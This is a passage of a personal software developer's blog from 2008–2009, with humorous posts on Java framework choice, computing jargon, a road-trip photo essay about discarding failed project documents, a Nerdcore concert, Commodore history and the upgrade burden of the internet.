This is a technology only a consultant could love. It required an army of consultants to install, configure, and administer all the Tuxedo modules. It's hard to describe Tuxedo other than it was a middleware platform that was supposed to allow any system to talk to any system by defining transformation engines for every type of input. I worked at a shop that was using Tuxedo to allow PowerBuilder client applications to talk to back-end services written in C. For what we were doing, that was like using a 3-stage Saturn rocket to climb one flight of stairs. Serious overkill. But it created jobs for 200+ consultants at this company. Sad.


Whew! That's all I can think of for now. What started off as a simple blog entry turned into a multi-day project, and I'm sure I'll think of many others to add later...so this is only the end of the list FOR NOW. =)

Wednesday, February 25, 2009

Bad songs I really like: Volume 11


Some many years ago, I would occasionally make CD's full of bad songs that I got hooked on or couldn't get out of my head, just so I could spread the misery of these catchy bad songs to others. :)

But when Napster died, I lost my source for obscure music. I believe my last CD was "Volume 10".

I'm reviving that tradition with new technologies: YouTube and a blog.

These are bad songs put to bad videos...that I like.

I hope someone out there hates liking some of these songs as much as I do. :)



I'm very sorry. This is really awesomely bad...in a good way.





I didn't think it was possible to cram the entire 80's into one video. Good job!





YouTube forbids embedding this video, so here's just the link.
http://www.youtube.com/watch?v=8r23cm7bL9E
This song makes me want to buy yet another iPod...or bubblegum...or a Pepsi...or bubblegum flavored Pepsi.






Beware: This is the worst one of the list!! But I couldn't get this song out of my head for days! The guy singing looks like Milton from Office Space...which I could accept, but it doesn't match the girl the cast for the video. I love the way they emphasized the theme of "separation" by sending the guy to the moon at the end. That is so STUPID it's brilliant!






When it comes to being dark and depressing, the T.V. show "Full Metal Alchemist" tops even BSG. This video is a tribute to the villains from the show.






YouTube forbids embedding this video, so here's just the link.
http://www.youtube.com/watch?v=4DdCFczrodc
I'm also sorry for liking this song. I know this is lame. I really do. But I like it. I really do.





I can't help but like this song!






This is a fast and chaotic live version of my favorite bad Smashing Pumpkins song.







Okay...so this is a bit corny, but it's still fun to watch.






I actually like this version better than the original Korn version.






Ahhh...cheesy 90's euro-rock! :) If your band members can't do anything interesting, then just zoom the camera in and out real fast!






This video is not sped up. This is Yuja Wang and she really can play piano THAT fast. She's also impressive here: http://www.youtube.com/watch?v=j1fgo7hp-Ko






This is from the T.V. show "Flight of the Conchords". Really all of their videos could make my list, but this one is especially "bad". :)






He's using an Apple ][ in the video. How cool is that??? :)




That's it for Volume #11. I hope there's at least one song here that you hate liking too.

Sunday, December 21, 2008

The ghost of projects past!


I was flipping through some of my old archives...and I came across a bunch of pictures I took on a 12-day road trip I took back in November of 2001. I forgot that one of my goals of that trip was to get rid of an entire folder full of project documentation.

You see, when I worked for [an insurance company], I was on a doomed project. This was literally the worst project of my career. It was every textbook mistake, every Dilbert cartoon, every flaw in management, and every bad process rolled up into one project.

The gist of the application was a web application for online insurance enrollments written for a FoxPro back-end system. This client piece was to support the Microsoft IE browser ONLY. The back-end FoxPro application had to communicate with a poorly understood mainframe system and produce reports using a horrible reporting tool that I'm pretty sure no other company on Earth purchased besides us.

I could go on and on with the list of ill-advised technical requirements that were given to us by non-technical people.

In order to protect itself, our dysfunctional I.T. department drowned this project in process. We can't be blamed for failure if we followed "the process" to the letter...right?

What resulted was ALL DAY long meetings, 3 or 4 days a week, for weeks on end. We foolishly tried to hash out every detail of design with a committee consisting of mostly people who knew neither the technology nor the business. I tried to correct the project at every turn, but I was always out-voted by people who had never written software. Eventually they stopped inviting me to the meetings completely. Then about 6 months and 3 committees later, the project finally admitted failure and was canceled.

I took out my entire project folder of documents and notes, and was about to throw it in the trash...but that just didn't seem satisfying enough. I needed something more cathartic. I was about to go on a long vacation, so I took my project documents with me, hoping to toss them off a bridge, or throw them in the ocean, or drop them in a public port-a-potty, or whatever.

Instead of one grand gesture like that, what happened was dozens of smaller gestures as I left individual pages of my folder all over 9 states. Here is my photo essay of what happened to those pages.

Note: I have edited the pictures to blot out the company name...just in case. :)

---------------------------------------------
I started off leaving a pages on various tree stumps, in remembrance to all the trees that gave their lives producing all the paper for this useless project.


Hmmm....a train boxcar...


...is one good way to send these documents far away!


Here comes an actual train...


Danger...ill-conceived project crossing!!!

A steamboat?


Say...that's a niiice boat!


It deserves some niiiice documents!


I tried not to fall into the river reaching across for this one...


...because falling into the Ohio river would be more-than-disgusting!


Here I am at the Iowa Botanical Gardens, with countless species of plants and flowers...


...and perennial project plans.

Don't touch! Sharp pointy project notes!


Let's see if prayer can save a project plan! (nope)


Purdue University. Founded in 1869...


...and defaced in 2001.


I don't think I can reach that high... Hey! A little determination pays off!

An old fallout shelter at the courthouse! I wonder if it can protect me from the fallout from this project?

This deserves a risk assessment matrix!


Downtown Indianapolis. A memorial to Indiana's fallen Veterans...


...and now Indiana's fallen programmers too. (I went to college in Indiana)


Hmmmm...I guess I could call the number...


...or just leave my problems on their front door.


This is Cedar Rapids Iowa. Even a little town like this has a science museum! And yet a big city like Kansas City does not!


Science meets Project Fiction!


It almost seems redundant to attach this to a trash bag.


The parking fee has been increased from 50 cents to 25,000 man hours!


At the Space Museum: "Huston, we have a problem..."


"Roger that Apollo...we see it too..."


Welcome to Wisconsin! Please fill out this form...


Whoa! This thing is really tall!


I want to hang a swing from up there....

...but this is the next-best thing I can do.


Ah, the Sears Tower!


A monumental building meets a monumental software process!


Want a thrill sometime? Try running up to the Sears Tower holding a duffel bag and a roll of duct tape and a camera...just two months after 9/11. Nobody came to talk to me, but I wouldn't be surprised if I got put on a "list" somewhere. I feel sorry for any agent who would have to follow some as boring and harmless as me!


Endangered species meets endangered company!


Wow! What a nice view from the top of the Sears Tower!

Wow! What a view!


Wow! What a view!

Wow! What a....OH MY GOD NO!


Consolidated Enrollments and Solicitation Grid, Project Code XKG 300034 v 1.3 - DRAFT VERSION...

... vs. Lake Michigan!!!

Lake Michigan wins! Yay!


But the lake tossed back one of our brochures.


Handful of cookies...

Seagulls eat cookies...


Handful of project plan...

Seagulls don't eat the project plan. Smart birds.

Now I'm in a grassy field. I don't want to get lost...


...so I leave these to mark my trail...

This doesn't look good...


Wow...this thing is a death trap!

What they need is insurance!


I thought about crumpling some pages up so this woodchuck could pad his nest with them for winter. But those pages are probably full of toxic inks (and toxic language). Besides, that would turn these documents into something USEFUL, and we can't have that.

Oh boy....a motel room for $19.99 per night...that just screams "quality". And what on Earth is an "E. Room"? Does that mean it has E-lectricity? Or a fire E-scape?

Free project documentation for each room!


24 hour surveillance?


I bet they didn't see THAT coming!


Oh, great security guys! Anyone can just walk out onto the runway?!? Hello!? I'm just a stranger walking on your runway...carrying a duffel bag and a roll of duct tape. I'm sure there's NOT a perfectly logical explanation for this...


I think what scared me most were those giant numbers on the runway...because you know any number printed that big implies that something really big is supposed to be right where I'm standing.

I couldn't leave without a parting gift.

In case you can't read the small blurry text, it says "Bert at age 3, 1877" and "Bert at age 1, 1875". I bet you had no idea I was that old! :) Actually this is Herbert "Bert" Hoover at some history museum I went to.


As the mighty evil Berlin Wall fell, so did the mighty evil Enrollment Card project! May such monstrosities never again be constructed!


And that was the last page from my folder, and the end of the worst project of my life.

I don't condone littering...so in retrospect this was a pretty immature thing to do on my part. I would never do this again, but I can't deny that the satisfaction at the time was so great that it lingers even 7+ years later. :)

And I can't help but wonder what people thought as they found those documents...

Since this all happened right after 9/11, there was heavy security at the Sears Tower, and at the St. Louis Arch, and at the courthouse, and hopefully at least camera security at that airport. So, the funny thought that crossed my mind is that they DID notice me, and matched up my picture from all these places...and somewhere in the NSA there are agents assigned to my case, and they have a wall covered with all my documents, and they've spent years trying to figure out what it all meant. "These documents MEAN something! If only we could break the code!!"

Good luck guys. Corporate process language is a tough code to crack! :)


Tuesday, December 02, 2008

The worst hackronym ever


The award for worst hackronym ever goes to:

NASA (National Association for Stupid Acronyms) for naming their Mercury probe "MESSENGER".

I didn't know until today that MESSENGER stands for "MErcury Surface, Space ENvironment, GEochemistry and Ranging".

Space ENvironment? GEochemistry and Ranging?!?

They obviously don't care how tortured their acronyms are, so they might as well use something clear like:

"A remote probe that will scan the surface of Mercury and return images back to Earth."


Sunday, November 30, 2008

There are no informed consumers in Java


I've now received 1 comment and 2 e-mails expressing this opinion that choice is good for the "informed consumer".

In general, I would agree. But where I disagree is in the world of technology, and especially Java.

How can you POSSIBLY be an informed consumer in Java? There is no way, that I know of, to get an accurate assessment of individual frameworks in Java without personally spending a year using each framework every day on a major project.

You cannot possibly learn the long-term ramifications of these frameworks without long-term exposure. It took well over 2 years for the Java Community to "figure out" the design implications of EJB 2.x.

If it takes you a year to fully analyze a Web Framework in Java, and there are 6 major competing Web Frameworks, then it will take you 6 years to be a "informed consumer" so that you can make your choice. (And by then there will be 6 NEW frameworks to choose from.)

This is not like buying a toaster where you can just go to Consumer Reports and compare features and recommendations on a nice spreadsheet. There is no equivalent of "Consumer Reports" (that I know of) for Java technologies. (The intangible things that make frameworks easy or difficult to use do not lend themselves to simple spreadsheets in any case.)

Instead, what we have is a lot of Java trade journals that will publish anyone's well-written pseudo-technical marketing spiel for a given framework. If you go looking for unbiased opinions on "EJB vs. Spring", you have as much luck as finding unbiased opinions on "Republicans vs. Democrats". Nobody, and I mean *NOBODY*, writes these technical articles from an unbiased no-spin position.

The only half-ass measure of framework quality is to try and count the number of developers who use it. I've seen many articles that argue the superiority of one framework over another based on the number of Java job posting that reference that framework. That's just lame, and is too easily corrupted by the sheeple effect. At best you become an informed lemming.

So, good luck with your informed consumerism guys. Let me know if that really works for you.

Monday, November 24, 2008

The Pardox of Choice


I've recently been evaluating Spring 2.5 vs. EJB 3.0 (and 3.1). I've also been evaluating Wicket vs. Tapestry.

I've come to one conclusion: I hate choice.

It is 2008, and it is STILL impractical to write reusable web/business/data components Java. And that's due to having too much choice and no strong (or acceptable) standards.

When I use the term "component", I mean more than just a set of shared .class files. A component is a piece of software that adheres to an official specification or framework. This gives it better portability and reusability in a plug-and-play fashion. It also allows tools to be written that know how to service or add value to these components.

The reason we can't write components in Java is because there are no such specifications or frameworks that any majority of the Java developers will agree to use! JSF is supposed to be the "standard" for web components, but it was too little and too late. Too many applications are already written in other frameworks. Java is in it's mature stage, and it's a little late to try and define fundamental parts of the platform now!

A Tapestry component won't work in Wicket or Spring-MVC. A Hibernate component won't work in Toplink, iBatis, or even the new JPA "standard". I've seen different implementations of the JPA spec that aren't even compatible with each other!

Many people argue that having so much choice is good for Java. I believe this is wrong.

Choice is something that is useful at a tangible product level, like a choice of ice cream or choice of cars. But nobody would buy a Ford if they had to personally choose from dozens of different vendors for each and every part that went into the Ford. Can you imagine being asked if you wanted to use fuel injectors from Sun, Spring, IBM, Red Hat, or Apache? How could you possibly know without taking the time to drive each one for 100,000 miles? You could do research and read other opinions of these transmissions, but opinions are always biased and it's too easy to manipulate opinion through marketing or FUD.

Even if Ford wrote strong specs for all the parts, using different vendors for each part would cause an exponential number of possible configurations that can’t all be tested together.

The Ford would be fundamentally unreliable (even more so), just a Java becomes fundamentally unstable if you mix vendors. A car must be developed all at once, so that a given configuration of parts and vendors can be heavily tested and standardized. This makes maintenance easier as well. Ford picks the vendors so you don't have to. Ford is in a better position to study vendors and make those decisions than you are.

Likewise a software development platform should be developed all at once and standardized, as was done with .NET and Ruby.

Java developers are forced to spend a significant percentage of their development time evaluating frameworks and writing platform code. Being a Java developer means spending almost as much time solving your environment as you spend solving the actual business problems at hand.

I have over 10 years of Java experience now, and yet I still have to approach every new framework as if I just learned Java yesterday. If we had one standard that Java had just stuck to all this time (with only incremental improvements), I would be a guru on that standard by now.

Having many choices in Java is only exciting if you are really into the Computer Science aspects of Java and don't mind spending all your time in the technology and not actually solving real-world problems. And honestly, most good professional coders fall into that category, and that's what has kept developers from abandoning Java en masse. It's actually fun to re-invent wheels. :)

Linux has the same problem. People who live and breathe Linux always want to keep learning new Linux things, and they love the fact that Linux has so many different distributions. If you love Linux, then what could be better than ever more flavors of Linux!

But in the broader market place, people just want an OS to work, and they don't care to know how it works. The battle between Gnome and KDE needs to end RIGHT NOW. Linux will never succeed in the real world if it can't even standardize the desktop! Sheesh!

Having choice increases complexity, and software is already complex enough as it is. People struggle enough with learning an OS without having to learn two different desktop managers! (And don't tell me "They could learn just one and stick with it" because that is demonstrably NOT a realistic option for non-techies.)

In the development world, we have enough choice with having .NET, Java, Ruby, and various scripting languages to choose from. That gives us flexibility in platform choice. We don't need a ton of added flexibility (and complexity) WITHIN these platforms.

I admit, I had fun learning EJB3, and I had fun learning Spring-MVC, and I have fun learning new technologies and getting them to work. That's great.

But the reason I've been learning these frameworks is that I need to make some real-world decisions about what technologies we are going to use in the future. And that's when I realize that choice sucks. We have Java applications that are written in almost every conceivable combination of these technologies, and it makes it impossible to share code or even share developers between projects!

You can't expect any Java developer to be an expert in every framework...because Java has too many. So, as if finding qualified Java developers wasn't hard enough, now you have to find Java developers who are skilled in the specific frameworks you have chosen for a specific application!

"Sorry, we aren't looking to hire a JSF/EJB/JPA Java developer. We are looking for Wicket/Spring/Hibernate developers."

And such is the sad state of affairs when you have too much choice.


Here is a good video on the Paradox of Choice as applied to our everyday world. Almost all of the points he makes can be applied to coding:



Saturday, November 15, 2008

Word Recycling (Top Ten)






Recycling is good for the environment, but bad for the English language.

I have had a long standing gripe that Computer Science reuses English words in inappropriate ways. Other self-respecting professions (like doctors, lawyers, and scientists) invent new words and phrases (usually in Latin) to describe a new concept. Latin is also a more neutral language that doesn't ruffle the feathers of people who don't speak English.

But nevertheless, Computer Science relentlessly looks for existing English words to recycle in confusing ways.

Top 10 worst recycled words in Computer Science

#10 - Window
We've gotten so used to this term that we don't realize it's a bad reuse of an English word that describes something completely unrelated to computers. There are tech-support stories of people being told "close your window" and they go and close the window in their room. That's only funny because our industry has created a pervasive double-meaning for what used to be a clear and concise term.

#9 - Mouse
Aside from having no feet, no eyes, no fur, and an impossibly long tail that comes out of its HEAD...I suppose this pointing device could look like a very minimalistic rodent. But for such an important device, it really deserved it's own unique word.

What about wireless mice? Should we call them "hamsters"?

#8 Java
It was a *horrible* idea to name a programming language after a beverage...especially one that implies the coder culture of stress, sleep deprivation and not having a life. In the early days it was even a hindrance to Java being accepted as a serious language. You might as well have called it "Mountain Dew".

I can't count the number of times I've tried to search for a technical article on Java and ended up finding pages about coffee or Indonesia. I don't even like coffee! What happened to inventing unique names for languages, like COBOL, FORTRAN, ALGOL, and PL/1?

What's worse about this name is that it spawns dozens of other bad names in the Java community. Java objects are now called "Java Beans"...like Coffee Beans...get it? If you did, I'm sorry, because that's retarded. Then there because Java tools like Mocha and Espresso and Caffeine. And to top it all off, the official Sun logo for the Java Programming Language is a stylized drawing of a steaming cup of coffee!

Really people, this is unbelievably stupid, and the non-techies are laughing at us.

#7 - Bus
This implies a slow lumbering vehicle, not a high-speed communication channel. I'm trying to imagine a vehicle that travels sideways while occupying 32 or 64 lanes of traffic at once. Or, if it's a serial bus, then each bus can hold 1 person...and if another bus loads a passenger before the previous bus has reached its destination...then both passengers fuse together into one person...like some kind of horrible Star Trek transporter accident...

What about a system bus that runs underneath the top layer of a motherboard? Do we call those "subways"?

#6 - Persistence
If you mean "store in a database" then say "store in a database". Persistence is an awful reuse of a perfectly good English word. When I think of persistent data, I think of data that won't leave you alone...data that keeps calling your cellphone and then hanging up. You walk down the sidewalk and you think you spot data standing across the street...you turn to look...a 64-lane bus passes between you...and then data is gone...

The concept of persistence was extended to a popular O/R mapping technology called "Hibernate"...which again is just "store in a database" and not "wait until spring to retrieve your data."

#5 - Boot
To start a computer you "boot" the computer? Apparently "boot" comes from the phrase "Pulling yourself up by your bootstraps"...which is a phrase nobody uses anymore. You cannot actually lift yourself by your bootstraps (if your boots even HAVE bootstraps). If you try to pull someone else up by their bootstraps, you'll flip them over and dangle them upside down.

This phrase was probably clever 50 years ago when it was first used...at a time when making a self-starting computer seemed paradoxical. But for the 99.999% of the population who don't know the technical details of bootstrap loaders in early computers, this term is confusing.

#4 - Object
Object Oriented programming is an entire paradigm built on poorly recycled language. Suddenly a perfectly good programming term like "function" became a weird "method", "parameter" became a "message", "modify" became "mutate", "structure" became "class", and everything became an "object". Yikes!

If you are gonna misuse an English word anyway, why not call it "Thing Oriented Programming"? That's no more vague, and at least you have a cool acronym like "TOP" instead of dopey "OOP"

#3 - Server/Service
These words are used interchangeably because they suffer from the problem of being so over-applied as to be meaningless. "Our server application is served from application server which runs on the same server as our web server and our web services, but the Microsoft SQL Server Database Server runs as a Windows service on a Windows Server 2008 server." That sentence makes perfect sense to me, and that bothers me. We use the word "server" like the word "smurf".

Other words that have been over-smurfed to the point of being smurfing meaningless: Interface. System. Monitor. Application.

#2 - Cookie
Apparently, a cookie can be "a dessert food", or it can be "a line-terminated segment of data transmitted over the HTTP protocol from the server to the browser and then back to the server on all subsequent requests so as to retain domain-constrained information associated with a user."

How on Earth did they come up with "cookie"? A browser cookie is not round, not sweet, not baked, not made of dough, not rolled, not sliced, not decorated, not flavored, and not eaten! So this is an inexcusable reuse by someone who was trying to be cute!

All over the world, every person who learns to use the web has to tackle this new double meaning of the word "cookie" at some point. If you don't speak English, then it's even funnier when you have to decide whether to use the English word "cookie" or use the local word that means a small round dessert food.

#1 - Design Patterns
This is not a single recycled word, but rather an entire division of Computer Science that is dedicated solely to misusing English words! There are patterns like Mutator, Strategy, Observer, Facade, Factory, Adapter, etc.

These are all ridiculous and confusing and make for hard-to-parse conversations. "I added an Observer to my Factory Facade Strategy, and now my Flyweight Composite Adapter uses the Decorator Mediator Singleton..."

We are taking common nouns that have a known and widely accepted meaning, and attaching completely different meanings to them. To normal people hearing our conversations, we sound INSANE, like "I Tuna Skip Juice across the Songbird North Paste Skies until Tangerine Fly...where rocking horse people eat marshmallow pies..."

I swear, if we had Latin words for all of those things, we would sound SO cool, and they would pay us so much more money and leave us alone!



Honorable mentions

Mother Board
Is there a Father Board? Do electronics breed?

Sprite
A mythological creature...or a bitmap. If you wanted to be cute, you should have called it a Pixie...because it's made of Pixels! :)

Bluetooth
Gross! This sounds like a horrible dental disease! Someone invested a tremendous amount of time and money to invent this technology, but they couldn't be bothered to invest a few minutes to come up with a better name than this?

How many people know their 10th century Danish kings? I guess all the other cool color names were already trademarked by Red Baron, Pink Panther, Gold Finger, Silver Surfer, White Zombie, BlackBerry, Mr. Green Jeans, The Indigo Girls, Charlie Brown, and Gandalf the Grey.


Subversion
Actually this one should be in top 10, except I thought of it after I had already posted this list. Subversion is a Version Control tool, and it's so popular and wisespread that developers are used to hearing the name. But to people outside the development community, I'm sure it makes them uneasy to hear us developers talking about "subversion" all the time. It makes us look either dangerous or weird or both.



Tuesday, November 11, 2008

Nerdcore 2008

I just got back from a Nerdcore concert featuring MC Frontalot, MC Lars, YTC (YT Cracker), and a few other opening act Nerdcore artists. I caught the concert in both Chicago and Minneapolis. It was quite amazing. Having attended these concerts in previous years, I was glad to see the range and depth and quality of material is continuing to grow. The performances were awesome and really rocked the house.

I actually took a camera with me this time, but let me start with my standard disclaimers about pictures:

1) I only have a little point-n-shoot camera with limited resolution and a slow shutter speed.
2) I have very little practice using a camera. I'm just not a camera person and I don't care to learn how to use one properly.
3) I didn't want to be distracting to the live performances with the flash, so I took very few pictures total. If a picture came out bad, I didn't try again.

Here we go:


This is the opening act Nerdcore rapper "Dual Core". He was actually very good. But what I wanted to point out with this picture is how utterly filthy this place is. All those specks you see in the picture are bits of filth in the air that were caught by my flash. There was no smoking (of any kind) going on. This place was just dirty and grimy...and sticky!! The floor was sticky, the seats were sticky, everything was sticky. After I had been there for 30 minutes, I somehow became sticky too. It was very gross. I don't think even the alcohol was sterile in this place.

This place is a "bar" (I'm doing air-quotes around that word "bar") in a very run down part of Chicago. It's apparently known for good hardcore underground performances. This was definitely an edgier group of nerds than normal for a Nerdcore show.

Since this was Chicago, and a Saturday night, I expected a big crowd, but instead there was only a small crowd. I'm attributing that to the fact that this location probably scared most nerds away.

By comparison, the crowd in Minneapolis was huge, even though it was a Monday night. The Minneapolis showing was in a relatively nice bar in a safer part of town.

The cool part of my experience is that just before the Chicago Nerdcore concert, I was attending the Chicago Symphony Orchestra where I had managed to get a luxury box seat among the Chicago elite! I went from the most refined musical experience you could imagine to the most raw musical environment that you really don't want to image...and I managed to be equally awkward and out of place in both settings!

A true nerd is out of place anywhere...even alone! :) :)

After the orchestra performance was over (very awesome btw), I had a comical mad dash back to my hotel room to change from fancy clothes into "street" clothes and hoodie! Ooooo don't mess with me....because I have a hoodie! That means I'm from the hood! Or I'm just very cold...which I was.



This is another nerd rapper...who's name I'm not saying because it would require a big long explanation that isn't really interesting. There were a lot of nerd girls of all ages in attendance, which I was happy to see, even if they were all out of my league. :-P




This is MC Lars and YTC. This is a bad picture of Lars, but it's the only picture of him I took at this show. With a real band, Lars sounded a less HipHop and more HardRock to me...which was *AWESOME*.




Here is MC Frontalot himself with his band, and YTC on guitar and vocals. YTC was really the multi-talented nerd-of-all trades for this show. I have new-found respect for YTC. He is a SERIOUS talent.




Nerd Power!




If I had an explanation for this picture...would you even want it?




Here is Lars and Front at the Minneapolis show. It was very cold...even indoors!




After a while everyone warmed up and worked up quite a sweat. Lars especially was high energy and jumping all over the stage...yet he kept his coat on! I think it was a fashion thing for him*.

So, that's the end of my pictures. These were great concerts and I think it's really cool to see the nerd community have its own little (but vibrant) form of expression.

I think the Minneapolis showing won a lot of converts. I heard this little mousy lady at the bar talking to her friend, and I assume she is an English teacher...because she said in a really excited voice "Oh!! And when Lars was on stage breaking down the difference between Iambic Tetrameter and Iambic Pentameter...I just...I felt my life was now complete!!"

And that pretty much sums up the whole spirit of Nerdcore right there. It's a music genres that speaks to the people in their own rarefied, specialized, or outcast language. It speaks to the real life experiences of us nerds, and that's what makes it "real" and not just paraody.


------------------------------------------------

*I have a long-standing theory that you have to live in a cold climate to look cool. Remember how the movie "The Matrix" had all that cool leather clothing and those long coats? Now imagine wearing that stuff on a typical 98 degree day in the Midwest or South. The list of movies and T.V. shows that are always seemingly filmed in the dead of winter is ever-growing. Once I started looking for it, I see it all the time! You have to have a lot of layers of clothes to look bad-ass...and that's just not practical in any place I've ever lived!

Monday, November 03, 2008

The Microcomputer Temporal Cold War



I just finished reading an amazing book:
"On The Edge: The Spectacullar Rise and Fall of Commodore"

In the early days of microcomputers, I was mostly into Apple and IBM computers, and I never followed the daily happenings of Commodore very closely. But after reading this book, I now have a good understanding of Commodore computers, and I am frankly astonished at what they were able to do given the circumstances and personalities involved.

However, what amazed me most was seeing the computer industry though the eyes of the surviving engineers and developers who were interviewed for this book. The Commodore engineers quoted in this book were not impressed (to put it mildly) with Apple.

I have read similar books from Apple engineers who were equally unimpressed with Commodore. From the accounts of the Apple engineers, they remembered the Commodore PET being a joke. It didn't have color or sound or a disk drive, and it had a ridiculous keyboard that make it just impossible to use.

From the accounts of the Commodore engineers in this book, they remember the Apple as being a 3rd place loser computer that was way overpriced, didn't have lower case letters, was technically inferior to the PET, and it just looked dumb.

The Apple legend is that Steve Wozniak was a genius engineer who brilliantly designed the Apple architecture that lasted over a decade. The Commodore version of the story is that Steve Wozniak was just a hacker, and he was lazy and uninspiring and Apple had to hire lots of "real" engineers to take over his role.

These were fast and furious times in the fledgling computer industry. There was lots of turnover, radical change, guarded secrets, and bankruptcy. There is very little hard documentation or evidence of everything that happened in these days. What we are left with is all the stories from all the engineers who were there and part of the revolution.

And as I kept reading this book and reading the stories these Commodore Engineers were telling, it occured to me:

The battle to be the best Microcomputer in 1979 is STILL BEING WAGED TODAY!

Like some kind of Star Trek Temporal Cold War, all the original developers and engineers from Apple, Tandy, Commodore, T.I., Atari, and IBM are actively spinning history to make it look like they were the best. Maybe it's really the case that each of their stories is true from their perspective. And maybe they sense the others are exaggerating facts, and that gives them license to do the same.

There was an unbelievable amount of passion put into the computer revolution back in the early 80's, both by the engineers and the users of these computers. I was only a pawn in the battle, a vocal supporter of the Apple ][ in a hick rural town that had few computers.

But to see that the battle is still being waged just really put a smile on my face. I no longer hold a bias toward any side. I love all of these first computers. They are all magic, and I'm amazed to find that the embers of that fire are still glowing!

Tuesday, May 27, 2008

The Software Professional's Real World Priority Scale



Low - A project or upgrade that is critically important, useful, effective, and vital to the future of whole team...but doesn't have to be done today. Since everyday is today, this will never happen.

Medium - A project with a high enough priority to start, but not a high enough priority to ever finish.

High - A project that is utterly useless and tedious, and so you have put off until the last possible moment. You must drop everything and do it right now.

Urgent - A project that can be easily accomplished in the time allowed, however nobody told you about the project until most of that time had already expired. You can do a rush job or you can miss your deadline. Most likely you will do both.

Meteoric - A project that has a quickly approaching and unmovable deadline...like a meteor falling out of the sky. You have a fixed amount of time to make the best of the situation and minimize damage. The deadline is not the end of the project, but rather the beginning of the cleanup phase.

Lightning - You aren't assigned a project so much as you are struck by one. The only deadline is "now". Some would call this "Emergency" priority, but I prefer the term "Lightning" because such projects only strike the highest visibility employees and not those who have learned to keep their heads down.

GALACTIC - A project of great scope and dramatic urgency. You are the only one who can save the day, and absolutely everything is at stake. You are the Last Starfighter. (If you don't know what that is, you need to get out less.) Everyone will be watching, so if you want to be a hero, now is your chance to shine.

Epic - A project of grave importance that is mythically long and fraught with peril. Everything and everyone depends on you…Frodo Baggins. Any sense of urgency is tempered by equal measures of dread and weariness. Those who help you on a volunteer basis will eventually realize their limits and fall by the wayside. This is not just a project…this will become your whole life for months to come.

Ludicrous – A project in which the first requirement is to build a time machine. Whatever needs to be done cannot physically be done at all by any means in the time allowed. This often happens when a person with no technical experience assumes that computers are just magic boxes that can convert any PowerPoint presentation into a working system in a matter of seconds.

Thursday, March 13, 2008

The Technology Debate


I was reading an article on Slashdot about technology late adopters. It featured a man who kept using the Netscape browser until he was literally forced to use something newer. From his point of view, Netscape worked, so why bother ever changing?

In the comments section below the article, an interesting argument took place:

by Veritas1980 (1008679) on Thursday March 13, @07:47AM
-----------------------------------------------------------------
Many people are just so stubborn, so set in their ways, that they are blind to innovation and practical change. It is this kind of purposeful ignorance that keeps people from learning, from growing intellectually. In my line of work, doing tech support, I run into this every single day. The older generations, 40+ have no concept of technology and most of them don't want to. There are people in this day and age who still do not own a computer. Not because they cannot afford it or do not have a use for it, but because they fear it or because they are too lazy to learn how to use it. This is often the case with new tech also. If it requires any sort of effort to learn, people try to pretend its not there and stick with what they have until it is no longer a viable option. This saddens me greatly.





by Overzeetop (214511) on Thursday March 13, @07:55AM
-------------------------------------------------------------
Interesting. So, what is your take on the recent developments in moment and portal frames in engineered wood construction? I find many people woefully ignorant of even the most simple principles of home construction, and yet practically everyone owns a home. Flashing? EIFS? That's not even getting into energy recovery ventilators and the latest developments in composite lumber products. Nearly every computer tech I know still lives in a house with a common furnace or heat pump, and *gasp* an unreinforced concrete masonry foundation, even though there are far more modern and superior systems which do so much more.
What was that? You just use your house to live in and it works just fine? Oh...

--------

I think this is fascinating, partly because I can agree with both opposing points of view at the same time.

The field I work in (Software Engineering) is rich and dynamic beyond compare. No other profession past or present moves so far and so fast in any given decade. Most of what we learn one year is useless in 5 years. Name any other profession that evolves as quickly. I dare you.

This profession attracts people who have a passion for continuous learning of ever changing technologies, methodologies, and theories. Someone who fits that mold is going to be utterly perplexed by a person who doesn't ever want to upgrade their browser. Most people view technology as the means to an end (and rightly so!), whereas we view technology as the end itself.

People need to be able to computers the same way they use cars and television sets: without having to know anything about how it works. But at the same time, a computer is a fully interactive and dynamic technology, very unlike a car or a television set.

It is correct to say that the over-50 crowd is having an especially difficult time adapting to the increasingly dynamic nature of technology. But at the same time I truly believe that our industry has generally failed to produce transparent technologies that allow us to fully focus on the task at hand rather than on the technology itself.

It is for this reason users are more reluctant to change: Because any change is risky and potentially very time consuming. Users aren't lazy (usually), they are just practical about where they choose to spend their time, and most choose NOT to spend time fiddling with the dang computer!

My previous post is just one example of the increasingly impractical expectations that are being placed on a modern computer user. If we do our jobs right, nobody should notice our software.

I WANT that guy who liked Netscape to be able to use that one interface for his whole life if that is what makes him effective. Upgrades should happen invisibly and gradually.

Established standards should allow a user to switch implementations (like switching from IE to Firefox) and not notice any change. Installing software should require lots of checks and verifications, both from the user and from an independent 3rd party database to validate compatibility and refuse spyware.

This crazy drive for "one click installations" has lead to the mess we are in with spyware. Our industry operates under a huge misconception that users resist installing new software because installing is too hard. The truth is they resist installing software because it is too dangerous, and one-click installations have only made it moreso.

The list of places where we've made software terribly opaque is long, and that is a much bigger problem than user resistance to learning new things.

By the way, if you want to see what kind of guy "Veritas1980" is, check out his website:

http://www.magnusveritas.net/


Thursday, February 28, 2008

The Hidden Cost of the Internet






The invention of the internet has made system maintenance far far more expensive and time consuming than ever before in the history of personal computers.

The internet allows you to connect to any other computer on Earth, and this has major negative ramifications in terms of security and compatibility. You have to constantly upgrade every piece of software with security fixes, patches, service packs, and even new versions.

I have a 30-year-old version of an Apple OS that is completely safe to use, because it doesn't connect to the internet. But on another computer that DOES connect to the internet, it would be digital suicide to run an un-patched version of any OS that is more than a year old!

The internet brought shared digital content to the masses. This means you must keep up with what everyone else is doing. The technology enthusiasts at the front of the pack are dragging everyone else along with their constant upgrades. They create the websites that require you to upgrade your browser, no matter how happy you are with your IE 3.0. or Netscape 2.0.

For 99% of the planet, Adobe Acrobat 3.0 was just fine, but we've all been badgered into upgrading and upgrading until now we are up to Acrobat version 8.1.2 and counting. New versions of Acrobat contain features we apparently "must" have, and then are quickly followed by security patches we "must" apply to fix critical holes in those very same new features!

Not a week goes by that some piece of software I have (Nero, McAfee, Windows, Adobe, iTunes, Quicktime, MS Office, WinAmp, BitTorrent, Visual Studio, Ubuntu, Dawn of War, etc) doesn't exclaim loudly that I must apply new updates right now, and often with a computer restart! In every case I had some other task in mind that I wanted to accomplish rather than spend 15 minutes feeding the upgrade monster.

None of this was necessary (or even possible) before my computer became connected to the Internet at all times.

As a Software Engineer, I know I'm part of the problem. I push technology forward, and you all had better keep up with me or I'll turn your computer into an expensive paper weight! Now more than ever, the Internet makes you dependent on external systems and external servers (that I help create), and you must keep upgrading in order to remain compatible.

